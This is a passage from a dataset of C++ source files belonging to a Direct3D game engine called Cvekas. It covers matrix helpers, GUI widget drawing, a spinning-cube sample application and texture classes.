translate.y, translate.z);\r\n\t\treturn m;\r\n\t}\r\n\r\n\tstatic Matrix rotate(const Vector3& rotate)\r\n\t{\r\n\t\tMatrix m;\r\n\t\tD3DXMatrixRotationYawPitchRoll(&m, rotate.y, rotate.x, rotate.z);\r\n\t\treturn m;\r\n\t}\r\n\r\n\tstatic Matrix scale(const Vector3& scale)\r\n\t{\r\n\t\tMatrix m;\r\n\t\tD3DXMatrixScaling(&m, scale.x, scale.y, scale.z);\r\n\t\treturn m;\r\n\t}\r\n\r\n\tstatic Matrix lookAt(const Vector3& pos, const Vector3& at, const Vector3& up)\r\n\t{\r\n\t\tMatrix m;\r\n\t\tD3DXMatrixLookAtLH(&m, &pos, &at, &up);\r\n\t\treturn m;\r\n\t}\r\n\r\n\tstatic Matrix perspective(float fov, float aspect_ratio, float z_near, float z_far)\r\n\t{\r\n\t\tassert(z_near < z_far);\r\n\t\tMatrix m;\r\n\t\tD3DXMatrixPerspectiveFovLH(&m, fov, aspect_ratio, z_near, z_far);\r\n\t\treturn m;\r\n\t}\r\n\r\n\tstatic Matrix identity()\r\n\t{\r\n\t\tMatrix m;\r\n\t\tD3DXMatrixIdentity(&m);\r\n\t\treturn m;\r\n\t}\r\n};\r\n\r\ninline Matrix::Matrix() : D3DXMATRIX() { };\r\ninline Matrix::Matrix( const float *f ) : D3DXMATRIX(f) { };\r\ninline Matrix::Matrix( const D3DXFLOAT16 *f ) : D3DXMATRIX(f) { };\r\ninline Matrix::Matrix( const D3DXMATRIX& v ) : D3DXMATRIX(v) { };\r\ninline Matrix::Matrix( float _11, float _12, float _13, float _14,\r\n float _21, float _22, float _23, float _24,\r\n float _31, float _32, float _33, float _34,\r\n float _41, float _42, float _43, float _44 )\r\n : D3DXMATRIX(_11,_12,_13,_14,_21,_22,_23,_24,_31,_32,_33,_34,_41,_42,_43,_44) { }\r\n\r\ninline Matrix::operator D3DXMATRIX&() { return *this; }\r\ninline Matrix::operator const D3DXMATRIX&() const { return *this; }\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6326930522918701, "alphanum_fraction": 0.6732653975486755, "avg_line_length": 29.021276473999023, "blob_id": "a37dae0a280cdce4d24c877d9aca2f4801ebe3b8", "content_id": "2eaf62cd2720df3d9e300c872f4e584760f57a96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 10204, "license_type": "no_license", "max_line_length": 139, "num_lines": 329, "path": "/source/DefaultGUIStyle.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"DefaultGUIStyle.h\"\r\n\r\n#include \"Timer.h\"\r\n#include \"Filesystem.h\"\r\n#include \"Exception.h\"\r\n#include \"Engine.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n// TODO: document how layers are used\r\n// TODO: unify fading speed, colors\r\n\r\nDefaultGUIStyle::DefaultGUIStyle(SpriteBatchPtr sprite_batch, uint layer)\r\n: sprite_batch(sprite_batch), layer(layer)\r\n{\r\n\tEngine e;\r\n\tTextureManagerPtr texture_manager = e.getVideoDevice()->getTextureManager();\r\n\r\n\t// Find or load default gui texture\r\n\tif(texture_manager->exists(DEFAULT_GUI_TEXTURE_NAME))\r\n\t\tdesc.texture = texture_manager->getTexture2D(DEFAULT_GUI_TEXTURE_NAME);\r\n\telse\r\n\t\tdesc.texture = texture_manager->loadTexture2D(DEFAULT_GUI_TEXTURE_NAME, \r\n\t\t\tFilesystem::redirect(DEFAULT_GUI_TEXTURE_FILENAME));\r\n\r\n\tdesc.font = BitmapFontPtr(new BitmapFont(sprite_batch, Filesystem::redirect(DEFAULT_GUI_FONT_FILENAME), layer+4));\r\n\r\n\tdesc.src_button_up = RectF(0.0f, 0.0f, 256.0f, 64.0f);\r\n\tdesc.src_button_down = RectF(0.0f, 64.0f, 256.0f, 64.0f);\r\n\tdesc.src_switch_up = desc.src_button_up;\r\n\tdesc.src_switch_down = desc.src_button_down;\r\n\tdesc.src_slider = RectF(0.0f, 128.0f, 256.0f, 32.0f);\r\n\tdesc.src_slider_knob_up = RectF(0.0f, 160.0f, 16.0f, 32.0f);\r\n\tdesc.src_slider_knob_down = RectF(16.0f, 160.0f, 16.0f, 32.0f);\r\n\tdesc.src_pointer = RectF(0.0f, 193.0f, 32.0f, 32.0f);\r\n\r\n\tdesc.src_selector = desc.src_button_up;\r\n\tdesc.src_selector_prev_up = RectF(34.0f, 160.0f, 32.0f, 64.0f);\r\n\tdesc.src_selector_prev_down = RectF(102.0f, 160.0f, 32.0f, 64.0f);\r\n\tdesc.src_selector_next_up = RectF(68.0f, 160.0f, 32.0f, 64.0f);\r\n\tdesc.src_selector_next_down = RectF(136.0f, 160.0f, 32.0f, 64.0f);\r\n\r\n\tdesc.text_color = Color(0, 0, 0);\r\n\r\n\tassert(validateDesc());\r\n}\r\n\r\nDefaultGUIStyle::DefaultGUIStyle(Cvekas::SpriteBatchPtr sprite_batch, DefaultGUIStyleDesc &desc, uint layer)\r\n: sprite_batch(sprite_batch), layer(layer)\r\n{\r\n\tthis->desc = desc;\r\n\tif(!validateDesc())\r\n\t\tthrow EXCEPTION(\"DefaultGUIStyleDesc invalid!\");\r\n}\r\n\r\nDefaultGUIStyle::~DefaultGUIStyle()\r\n{\r\n}\r\n\r\nbool DefaultGUIStyle::hitButton(const Vector2& pos, const std::string& text)\r\n{\r\n\tRectF button(pos, desc.src_button_down.size());\r\n\treturn button.collidePoint(mouse_pos);\r\n}\r\n\r\nbool DefaultGUIStyle::hitSwitch(const Vector2& pos, const std::string& text)\r\n{\r\n\tRectF switch_(pos, desc.src_switch_down.size());\r\n\treturn switch_.collidePoint(mouse_pos);\r\n}\r\n\r\nfloat DefaultGUIStyle::hitSlider(const Vector2& pos)\r\n{\r\n\tRectF slider(pos, desc.src_slider.size());\r\n\tif(!slider.collidePoint(mouse_pos))\r\n\t\treturn -1.0f;\r\n\r\n\treturn (mouse_pos.x - pos.x) / desc.src_slider.width;\r\n}\r\n\r\nbool DefaultGUIStyle::hitSelector(const Vector2& pos, const std::vector<std::string>& selections, uint& button)\r\n{\r\n\tbutton = 0;\r\n\tRectF selector(pos, desc.src_selector.size());\r\n\tif(!selector.collidePoint(mouse_pos))\r\n\t\treturn false;\r\n\r\n\tRectF prev(pos, desc.src_selector_prev_up.size());\r\n\tRectF next(pos.x + (desc.src_selector.width - desc.src_selector_prev_up.width), pos.y,\r\n\t\tdesc.src_selector_prev_up.width, desc.src_selector_prev_up.height);\r\n\r\n\t// Both can't be true\r\n\tassert(!(prev.collidePoint(mouse_pos) && next.collidePoint(mouse_pos)));\r\n\r\n\tif(prev.collidePoint(mouse_pos))\r\n\t\tbutton = 1;\r\n\tif(next.collidePoint(mouse_pos))\r\n\t\tbutton = 2;\r\n\r\n\treturn true;\r\n}\r\n\r\nvoid DefaultGUIStyle::drawLabel(const Vector2& pos, const std::string& text)\r\n{\r\n\tdesc.font->draw(pos, text, desc.text_color);\r\n}\r\n\r\nvoid DefaultGUIStyle::drawButton(const Cvekas::Vector2& pos, const std::string& text, bool mouse_over, bool pressed)\r\n{\r\n\tuint id = GUI::hashWidget(GUI::WIDGET_BUTTON, pos);\r\n\t\r\n\tif(!cache.exists(id))\r\n\t{\r\n\t\tWidgetStyleState dummy;\r\n\t\tdummy.blend = 0.0f;\r\n\t\tcache.set(dummy, id);\r\n\t}\r\n\t\r\n\tfloat& blend_modifier = cache.at(id).blend;\r\n\t\r\n\tif(mouse_over)\r\n\t{\r\n\t\tblend_modifier += Timer::getTimeScale()* 5.0f;\r\n\t\tif(blend_modifier > 1.0f)\r\n\t\t\tblend_modifier = 1.0f;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tblend_modifier -= Timer::getTimeScale()* 5.0f;\r\n\t\tif(blend_modifier < 0.0f)\r\n\t\t\tblend_modifier = 0.0f;\r\n\t}\r\n\r\n\tsprite_batch->draw(desc.texture, layer+1, desc.src_button_up, pos, Color(255, 255, 255, 255));\r\n\tsprite_batch->draw(desc.texture, layer+2, desc.src_button_down, pos, Color(255, 255, 255, int(blend_modifier * 255.0f)));\r\n\r\n\tfloat text_width = desc.font->getWidth(text);\r\n\tfloat text_height = desc.font->getHeight();\r\n\r\n\tVector2 text_pos(ceilf((desc.src_button_down.width - text_width) / 2.0f), ceilf((desc.src_button_down.height - text_height) / 2.0f));\r\n\ttext_pos += pos;\r\n\r\n\tdesc.font->draw(text_pos, text, desc.text_color);\r\n}\r\n\r\nvoid DefaultGUIStyle::drawSwitch(const Cvekas::Vector2 &pos, const std::string &text, bool mouse_over, bool state)\r\n{\r\n\tuint id = GUI::hashWidget(GUI::WIDGET_SWITCH, pos);\r\n\t\r\n\tif(!cache.exists(id))\r\n\t{\r\n\t\tWidgetStyleState dummy;\r\n\t\tdummy.blend = 0.0f;\r\n\t\tcache.set(dummy, id);\r\n\t}\r\n\t\r\n\tfloat& blend_modifier = cache.at(id).blend;\r\n\t\r\n\tif(mouse_over)\r\n\t{\r\n\t\tblend_modifier += Timer::getTimeScale()* 5.0f;\r\n\t\tif(blend_modifier > 1.0f)\r\n\t\t\tblend_modifier = 1.0f;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tblend_modifier -= Timer::getTimeScale()* 5.0f;\r\n\t\tif(blend_modifier < 0.0f)\r\n\t\t\tblend_modifier = 0.0f;\r\n\t}\r\n\t\r\n\tif(!state)\r\n\t{\r\n\t\tsprite_batch->draw(desc.texture, layer+1, desc.src_button_up, pos, Color(255, 255, 255, 255));\r\n\t\tsprite_batch->draw(desc.texture, layer+2, desc.src_button_down, pos, Color(255, 255, 255, int(blend_modifier * 64.0f)));\r\n\t}\r\n\telse\r\n\t{\r\n\t\tsprite_batch->draw(desc.texture, layer+1, desc.src_button_down, pos, Color(255, 255, 255, 255));\r\n\t\tsprite_batch->draw(desc.texture, layer+2, desc.src_button_up, pos, Color(255, 255, 255, int(blend_modifier * 64.0f)));\r\n\t}\r\n\r\n\tfloat text_width = desc.font->getWidth(text);\r\n\tfloat text_height = desc.font->getHeight();\r\n\r\n\tVector2 text_pos(ceilf((desc.src_button_down.width - text_width) / 2.0f), ceilf((desc.src_button_down.height - text_height) / 2.0f));\r\n\ttext_pos += pos;\r\n\r\n\tdesc.font->draw(text_pos, text, desc.text_color);\r\n}\r\n\r\nvoid DefaultGUIStyle::drawSlider(const Cvekas::Vector2 &pos, bool mouse_over, float state)\r\n{\r\n\tuint id = GUI::hashWidget(GUI::WIDGET_SLIDER, pos);\r\n\t\r\n\tif(!cache.exists(id))\r\n\t{\r\n\t\tWidgetStyleState dummy;\r\n\t\tdummy.blend = 0.0f;\r\n\t\tcache.set(dummy, id);\r\n\t}\r\n\t\r\n\tfloat& blend_modifier = cache.at(id).blend;\r\n\t\r\n\tif(mouse_over)\r\n\t{\r\n\t\tblend_modifier += Timer::getTimeScale() * 5.0f;\r\n\t\tif(blend_modifier > 1.0f)\r\n\t\t\tblend_modifier = 1.0f;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tblend_modifier -= Timer::getTimeScale()* 5.0f;\r\n\t\tif(blend_modifier < 0.0f)\r\n\t\t\tblend_modifier = 0.0f;\r\n\t}\r\n\r\n\tsprite_batch->draw(desc.texture, layer+1, desc.src_slider, pos);\r\n\r\n\tVector2 knob_pos(pos.x + (desc.src_slider.width - desc.src_slider_knob_down.width) * state, pos.y);\r\n\r\n\tsprite_batch->draw(desc.texture, layer+2, desc.src_slider_knob_down, knob_pos, Color(255, 255, 255, int(blend_modifier * 255.0f)));\r\n\tsprite_batch->draw(desc.texture, layer+3, desc.src_slider_knob_up, knob_pos, Color(255, 255, 255, int(255.0f - blend_modifier * 255.0f)));\r\n}\r\n\r\nvoid DefaultGUIStyle::drawSelector(const Vector2& pos, const std::vector<std::string>& selections, uint item, \r\n\t\tbool mouse_over, bool mouse_over_prev, bool mouse_over_next, bool pressed)\r\n{\r\n\tuint id = GUI::hashWidget(GUI::WIDGET_SELECTOR, pos);\r\n\r\n\tif(!cache.exists(id))\r\n\t{\r\n\t\tSelectorStyleState dummy;\r\n\t\tWidgetStyleState dummy2;\r\n\t\tdummy.prev_blend = dummy.next_blend = 0.0f;\r\n\t\tdummy2.selector = dummy;\r\n\t\tcache.set(dummy2, id);\r\n\t}\r\n\r\n\tSelectorStyleState& state = cache.at(id).selector;\r\n\r\n\tif(mouse_over_prev)\r\n\t{\r\n\t\tstate.prev_blend += Timer::getTimeScale() * 5.0f;\r\n\t\tif(state.prev_blend > 1.0f)\r\n\t\t\tstate.prev_blend = 1.0f;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tstate.prev_blend -= Timer::getTimeScale() * 5.0f;\r\n\t\tif(state.prev_blend < 0.0f)\r\n\t\t\tstate.prev_blend = 0.0f;\r\n\t}\r\n\r\n\tif(mouse_over_next)\r\n\t{\r\n\t\tstate.next_blend += Timer::getTimeScale() * 5.0f;\r\n\t\tif(state.next_blend > 1.0f)\r\n\t\t\tstate.next_blend = 1.0f;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tstate.next_blend -= Timer::getTimeScale() * 5.0f;\r\n\t\tif(state.next_blend < 0.0f)\r\n\t\t\tstate.next_blend = 0.0f;\r\n\t}\r\n\r\n\tsprite_batch->draw(desc.texture, layer, desc.src_selector, pos, Color(255, 255, 255, 255));\r\n\t\r\n\tsprite_batch->draw(desc.texture, layer+1, desc.src_selector_prev_up, pos, Color(255, 255, 255, 255));\r\n\tsprite_batch->draw(desc.texture, layer+2, desc.src_selector_prev_down, pos, Color(255, 255, 255, int(state.prev_blend * 255.0f)));\r\n\r\n\tfloat shift = desc.src_selector.width - desc.src_selector_prev_up.width;\r\n\tVector2 new_pos = pos;\r\n\tnew_pos.x += shift;\r\n\r\n\tsprite_batch->draw(desc.texture, layer+1, desc.src_selector_next_up, new_pos, Color(255, 255, 255, 255));\r\n\tsprite_batch->draw(desc.texture, layer+2, desc.src_selector_next_down, new_pos, Color(255, 255, 255, int(state.next_blend * 255.0f)));\r\n\r\n\tfloat text_width = desc.font->getWidth(selections[item]);\r\n\tfloat text_height = desc.font->getHeight();\r\n\r\n\tVector2 text_pos(ceilf((desc.src_selector.width - text_width) / 2.0f), ceilf((desc.src_selector.height - text_height) / 2.0f));\r\n\ttext_pos += pos;\r\n\r\n\tdesc.font->draw(text_pos, selections[item], desc.text_color);\r\n}\r\n\r\n\r\nvoid DefaultGUIStyle::endFrame()\r\n{\r\n\tsprite_batch->draw(desc.texture, layer+5, desc.src_pointer, mouse_pos);\r\n}\r\n\r\nbool DefaultGUIStyle::validateDesc()\r\n{\r\n\t// Button up & down sizes must match\r\n\tif(desc.src_button_up.size() != desc.src_button_down.size())\r\n\t\treturn false;\r\n\r\n\t// Switch up & down sizes must match\r\n\tif(desc.src_switch_up.size() != desc.src_button_down.size())\r\n\t\treturn false;\r\n\r\n\t// Knob up & down sizes must match\r\n\tif(desc.src_slider_knob_up.size() != desc.src_slider_knob_down.size())\r\n\t\treturn false;\r\n\r\n\t// Knob & slider height must match\r\n\tif(abs(desc.src_slider.height) != abs(desc.src_slider_knob_down.height))\r\n\t\treturn false;\r\n\r\n\t// Selector next and prev, up and down sizes must match\r\n\tif(desc.src_selector_next_down.size() != desc.src_selector_next_up.size())\r\n\t\treturn false;\r\n\tif(desc.src_selector_prev_down.size() != desc.src_selector_prev_up.size())\r\n\t\treturn false;\r\n\tif(desc.src_selector_next_up.size() != desc.src_selector_prev_up.size())\r\n\t\treturn false;\r\n\r\n\t// Selector buttons and background height must match\r\n\tif(abs(desc.src_selector_next_down.height) != abs(desc.src_selector.height))\r\n\t\treturn false;\r\n\r\n\treturn true;\r\n}\r\n\r\n} // namespace" }, { "alpha_fraction": 0.6008215546607971, "alphanum_fraction": 0.6510090827941895, "avg_line_length": 24.789474487304688, "blob_id": "5e9a53b7d71aae5e256844a9b5185e7738ab0cbb", "content_id": "59b29f13dff53eb03a7e8d2f11f246fd431b5476", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5599, "license_type": "no_license", "max_line_length": 117, "num_lines": 209, "path": "/samples/Cube/Cube.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"libraries.h\"\r\n\r\n#include \"Application.h\"\r\n#include \"Filesystem.h\"\r\n#include \"Vertices.h\"\r\n#include \"GpuBufferManipulator.h\"\r\n#include \"Renderer.h\"\r\n#include \"Engine.h\"\r\n#include \"Camera.h\"\r\n#include \"Timer.h\"\r\n\r\nusing namespace Cvekas;\r\n\r\nclass RenderableCube : public Renderable\r\n{\r\npublic:\r\n\tRenderableCube()\r\n\t{\r\n\t\tEngine engine;\r\n\r\n\t\tvb = engine.getVideoDevice()->getGpuBufferManager()->getVertexBuffer(\"cube_vb\");\r\n\t\tib = engine.getVideoDevice()->getGpuBufferManager()->getIndexBuffer(\"cube_ib\");\r\n\t\teffect = engine.getVideoDevice()->getEffectManager()->get(\"Cube\");\r\n\r\n\t\tbatch.priority = 0;\r\n\t\tbatch.batch_id = 0;\r\n\t\tbatch.vb_id = vb->getId();\r\n\t\tbatch.ib_id = ib->getId();\r\n\t\tbatch.effect_id = effect->getId();\r\n\t\tbatch.pass = 0;\r\n\t\tbatch.start_index = 0;\r\n\t\tbatch.tri_count = 12;\r\n\t\tbatch.owner = this;\r\n\r\n\t\tworld = Matrix::identity();\r\n\t}\r\n\r\n\tvirtual uint getBatches(Batch** batches)\r\n\t{\r\n\t\t*batches = &batch;\r\n\t\treturn 1;\r\n\t}\r\n\r\n\tvirtual void onPreRender(uint16 batch_id)\r\n\t{\r\n\t\tEngine e;\r\n\t\te.getVideoDevice()->getRenderingParams().setPerBatch(world, 0);\r\n\t\teffect->applyAutoParams();\r\n\t\teffect->commitChanges();\r\n\t}\r\n\r\nprivate:\r\n\tVertexBufferPtr vb;\r\n\tIndexBufferPtr ib;\r\n\tEffectPtr effect;\r\n\r\n\tBatch batch;\r\n\tMatrix world;\r\n};\r\n\r\nclass Cube: public Application\r\n{\r\npublic:\r\n\tCube(HINSTANCE instance, const std::string& name, const std::string& log_filename)\r\n\t\t: Application(instance, name, log_filename), \r\n\t\tcamera(Vector3(0.0f, 0.0f, 0.0f),\r\n\t\t\t Vector3(0.0f, 0.0f, 0.0f),\r\n\t\t\t Vector3(0.0f, 1.0, 0.0f))\r\n\t{\r\n\t\tFilesystem::init();\r\n\t}\r\n\r\n\tvirtual ~Cube()\r\n\t{\r\n\t}\r\n\r\n\tvirtual void initVideoDevice()\r\n\t{\r\n\t\tsettings->insert(\"video\", VideoSettings());\r\n\r\n\t\t(*settings)[\"video\"][\"ScreenWidth\"] = 800;\r\n\t\t(*settings)[\"video\"][\"ScreenHeight\"] = 600;\r\n\t\t(*settings)[\"video\"][\"VSync\"] = false;\r\n\t\t(*settings)[\"video\"][\"Fullscreen\"] = false;\r\n\r\n\t\twindow = WindowPtr(new Window(instance, name));\r\n\t\tvideo_device->init(window);\r\n\t\tvideo_device->setProjectionMatrix(Matrix::perspective(pi / 4.0f, 800.0f / 600.0f, 1.0f, 80.0f));\r\n\t}\r\n\r\n\tvirtual void init()\r\n\t{\r\n\t\teffect_manager->load(\"Cube\", Filesystem::redirect(\"Cube.fx\"));\r\n\r\n\t\tVertexBufferPtr cube_vb = gpu_buffer_manager->createVertexBuffer(\"cube_vb\", VertexPosColor::getFormat(), 8, false);\r\n\t\t\r\n\t\t// Generate cube geometry\r\n\t\t\r\n\t\tGpuBufferManipulator<VertexPosColor> cube_vb_manipulator(cube_vb);\r\n\r\n\t\tcube_vb_manipulator.set(0, VertexPosColor(Vector3(-1.0f, 1.0f, -1.0f), Color(255, 0, 0)));\r\n\t\tcube_vb_manipulator.set(1, VertexPosColor(Vector3(1.0f, 1.0f, -1.0f), Color(0, 255, 0)));\r\n\t\tcube_vb_manipulator.set(2, VertexPosColor(Vector3(-1.0f, -1.0f, -1.0f), Color(0, 0, 255)));\r\n\t\tcube_vb_manipulator.set(3, VertexPosColor(Vector3(1.0f, -1.0f, -1.0f), Color(255, 255, 0)));\r\n\r\n\t\tcube_vb_manipulator.set(4, VertexPosColor(Vector3(-1.0f, 1.0f, 1.0f), Color(255, 0, 255)));\r\n\t\tcube_vb_manipulator.set(5, VertexPosColor(Vector3(1.0f, 1.0f, 1.0f), Color(0, 255, 255)));\r\n\t\tcube_vb_manipulator.set(6, VertexPosColor(Vector3(-1.0f, -1.0f, 1.0f), Color(255, 255, 255)));\r\n\t\tcube_vb_manipulator.set(7, VertexPosColor(Vector3(1.0f, -1.0f, 1.0f), Color(0, 0, 0)));\r\n\t\tcube_vb_manipulator.apply();\r\n\r\n\t\tIndexBufferPtr cube_ib = gpu_buffer_manager->createIndexBuffer(\"cube_ib\", true, 36, false);\r\n\t\tGpuBufferManipulator<uint16> cube_ib_manipulator(cube_ib);\r\n\r\n\t\tcube_ib_manipulator.set(0, 0);\r\n\t\tcube_ib_manipulator.set(1, 1);\r\n\t\tcube_ib_manipulator.set(2, 2);\r\n\t\tcube_ib_manipulator.set(3, 1);\r\n\t\tcube_ib_manipulator.set(4, 3);\r\n\t\tcube_ib_manipulator.set(5, 2);\r\n\r\n\t\tcube_ib_manipulator.set(6, 0);\r\n\t\tcube_ib_manipulator.set(7, 4);\r\n\t\tcube_ib_manipulator.set(8, 5);\r\n\t\tcube_ib_manipulator.set(9, 5);\r\n\t\tcube_ib_manipulator.set(10, 1);\r\n\t\tcube_ib_manipulator.set(11, 0);\r\n\r\n\t\tcube_ib_manipulator.set(12, 4);\r\n\t\tcube_ib_manipulator.set(13, 6); \r\n\t\tcube_ib_manipulator.set(14, 5);\r\n\t\tcube_ib_manipulator.set(15, 5);\r\n\t\tcube_ib_manipulator.set(16, 6);\r\n\t\tcube_ib_manipulator.set(17, 7);\r\n\r\n\t\tcube_ib_manipulator.set(18, 6);\r\n\t\tcube_ib_manipulator.set(19, 3); \r\n\t\tcube_ib_manipulator.set(20, 7);\r\n\t\tcube_ib_manipulator.set(21, 6);\r\n\t\tcube_ib_manipulator.set(22, 2);\r\n\t\tcube_ib_manipulator.set(23, 3);\r\n\r\n\t\tcube_ib_manipulator.set(24, 1);\r\n\t\tcube_ib_manipulator.set(25, 5);\r\n\t\tcube_ib_manipulator.set(26, 3);\r\n\t\tcube_ib_manipulator.set(27, 5);\r\n\t\tcube_ib_manipulator.set(28, 7);\r\n\t\tcube_ib_manipulator.set(29, 3);\r\n\r\n\t\tcube_ib_manipulator.set(30, 0);\r\n\t\tcube_ib_manipulator.set(31, 2);\r\n\t\tcube_ib_manipulator.set(32, 4);\r\n\t\tcube_ib_manipulator.set(33, 4);\r\n\t\tcube_ib_manipulator.set(34, 2);\r\n\t\tcube_ib_manipulator.set(35, 6);\r\n\r\n\t\tcube_ib_manipulator.apply();\r\n\r\n\t\tcube = new RenderableCube();\r\n\t}\r\n\r\n\tvirtual void close()\r\n\t{\r\n\t\tdelete cube;\r\n\t}\r\n\r\n\tvirtual bool update()\r\n\t{\r\n\t\t// Move camera in a circle\r\n\t\tfloat t = Timer::getTimeMs() / 1000.0f;\r\n\t\tVector3 camera_pos(sin(t) * 6.0f, sin(t/4)*5.0f, cos(t) * 6.0f);\r\n\r\n\t\tcamera.setPosition(camera_pos);\r\n\t\tcamera.setDirection(-camera_pos);\r\n\r\n\t\treturn true;\r\n\t}\r\n\r\n\tvirtual bool render()\r\n\t{\r\n\t\tvideo_device->getRenderingParams().setCamera(camera);\r\n\t\t\r\n\t\tvideo_device->beginScene();\r\n\t\tmain_renderer->prepare(*cube);\r\n\t\tmain_renderer->render();\r\n\t\tvideo_device->endScene();\r\n\t\tmain_renderer->endFrame();\r\n\r\n\t\treturn true;\r\n\t}\r\nprivate:\r\n\tSimpleCamera camera;\r\n\tRenderableCube* cube;\r\n};\r\n\r\nint WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR pCmdLine, int nShowCmd)\r\n{\r\n\ttry\r\n\t{\r\n\t\tCube app(hInstance, \"Cube\", \"cube.log\");\r\n\t\tapp.run();\r\n\t}\r\n\tcatch (std::exception& e)\r\n\t{\r\n\t\tMessageBox(NULL, e.what(), \"Fatal error\", NULL);\r\n\t}\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.6759608387947083, "alphanum_fraction": 0.6880180835723877, "avg_line_length": 20.525423049926758, "blob_id": "363465377da849665a294d59d0e9f61c96125442", "content_id": "84394428ae864abc0bbdc20d2e0c6802b61dad0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1327, "license_type": "no_license", "max_line_length": 106, "num_lines": 59, "path": "/source/BaseTexture.h", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#ifndef BASETEXTURE_H\r\n#define BASETEXTURE_H\r\n\r\n#include \"Resource.h\"\r\n#include \"CommonTypes.h\"\r\n#include \"MemUtils.h\"\r\n\r\nnamespace Cvekas {\r\n\r\n/// Base of all texture types\r\nclass BaseTexture : public Resource\r\n{\r\npublic:\r\n\t/// Constructor\r\n BaseTexture(ResourceId id, D3DDevicePtr device, const std::string& name, D3DFORMAT format)\r\n\t\t: \r\n\tResource(name, id), \r\n\ttexture(NULL), \r\n\tdevice(device), \r\n\tformat(format), \r\n\tis_released(false) \r\n\t{};\r\n\r\n\t/// Destructor\r\n\tvirtual ~BaseTexture() \r\n\t{ \r\n\t\tif(!is_released) \r\n\t\t{\r\n\t\t\tsafeRelease(texture);\r\n\t\t\tis_released = true;\r\n\t\t}\r\n\t};\r\n \r\n\t/// Returns pointer to IDirect3DBaseTexture9 stored in this %BaseTexture\r\n\tIDirect3DBaseTexture9* getD3DTexture() const { return texture; };\r\n\t\r\n\t/// Returns format of texture\r\n\tconst D3DFORMAT getFormat() const { return format; };\r\n\t\r\n\t/// TEMPORARY: Returns description of top level of texture (first mipmap, or whole texture if no mipmaps)\r\n\tconst D3DSURFACE_DESC& getTopLevelDescription() const { return description; };\r\n\r\n\tvirtual void onDeviceLost() = 0;\r\n\tvirtual void onDeviceReset() = 0;\r\n\r\nprotected:\r\n IDirect3DBaseTexture9* texture;\r\n\tD3DDevicePtr device;\r\n\tD3DFORMAT format;\r\n\tD3DSURFACE_DESC description;\r\n\tbool is_released;\r\n\r\n};\r\n\r\ntypedef boost::shared_ptr<BaseTexture> TexturePtr;\r\n\r\n} // namespace\r\n\r\n#endif" }, { "alpha_fraction": 0.6507407426834106, "alphanum_fraction": 0.6670370101928711, "avg_line_length": 22.324323654174805, "blob_id": "0055c559d072e6061869693ae3d34945022239f5", "content_id": "54d4088ab06fca96b62a6a18c3f3ff155c0033e4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2700, "license_type": "no_license", "max_line_length": 96, "num_lines": 111, "path": "/source/Texture2DManipulator.cpp", "repo_name": "tectronics/cvekas", "src_encoding": "UTF-8", "text": "#include \"stdafx.h\"\r\n#include \"Texture2DManipulator.h\"\r\n\r\nnamespace Cvekas {\r\n\r\nTexture2DManipulator::Texture2DManipulator(Texture2DPtr texture, bool use_buffer)\r\n\t: \r\nuse_buffer(use_buffer), \r\nbuffer(NULL),\r\ntexture(texture)\r\n{\r\n\tLOG(FORMAT(\"Constructing manipulator for texture %s\", % texture->getName()));\r\n\tif(!texture->isLockable())\r\n\t\tthrow EXCEPTION(\"Can't create manipulator for non-lockable texture\");\r\n\r\n\tif(!(texture->getFormat() == D3DFMT_A8R8G8B8 || texture->getFormat() == D3DFMT_X8R8G8B8))\r\n\t\tthrow EXCEPTION(\"Only D3DFMT_A8R8G8B8 and D3DFMT_X8R8G8B8 is supported for manipulation\");\r\n\r\n\tif(texture->isDynamic() && !use_buffer)\r\n\t\tthrow EXCEPTION(\"Dynamic textures must use buffer\");\r\n\r\n\tif(!texture->isDynamic() && use_buffer)\r\n\t\tLOG(\"Using intermediate buffer for texture in managed pool. Might be unnecessary\");\r\n\r\n\tD3DSURFACE_DESC desc = texture->getTopLevelDescription();\r\n\theight = desc.Height;\r\n\t\r\n\t//TODO: investigate if pitch might change between locks. Change pitch calculation if yes\r\n\tlocked = texture->lock(true);\r\n\tpitch = locked.pitch;\r\n\tif(use_buffer)\r\n\t{\r\n\t\tbuffer = new byte[height * pitch];\r\n\t\tmemcpy(buffer, locked.data, height * pitch);\r\n\t}\r\n\ttexture->unlock();\r\n}\r\n\r\nTexture2DManipulator::~Texture2DManipulator()\r\n{\r\n\tif(texture->isLocked())\r\n\t{\r\n\t\tLOG(\"Texture still locked on destruction of manipulator. Did you forget to apply() changes?\");\r\n\t\tunlock();\r\n\t}\r\n\tif(buffer)\r\n\t\tdelete[] buffer;\r\n\tLOG(FORMAT(\"Manipulator for texture %s destroyed\", % texture->getName()));\r\n}\r\n\r\nvoid Texture2DManipulator::setPixel(uint x, uint y, const Color& color)\r\n{\r\n\tint address = pitch * y + x * 4;\r\n\tif(buffer)\r\n\t{\r\n\t\tD3DCOLOR* pixel = reinterpret_cast<D3DCOLOR*>(&buffer[address]);\r\n\t\t*pixel = (D3DCOLOR)color;\r\n\t}\r\n\telse\r\n\t{\r\n\t\tif(!texture->isLocked())\r\n\t\t\tlock();\r\n\t\tchar* data = static_cast<char*>(locked.data);\r\n\t\tD3DCOLOR* pixel = reinterpret_cast<D3DCOLOR*>(&data[address]);\r\n\t\t*pixel = (D3DCOLOR)color;\r\n\t}\r\n}\r\n\r\nColor Texture2DManipulator::getPixel(uint x, uint y)\r\n{\r\n\tint address = pitch * y + x * 4;\r\n\tif(buffer)\r\n\t{\r\n\t\tD3DCOLOR* pixel = reinterpret_cast<D3DCOLOR*>(&buffer[address]);\r\n\t\treturn 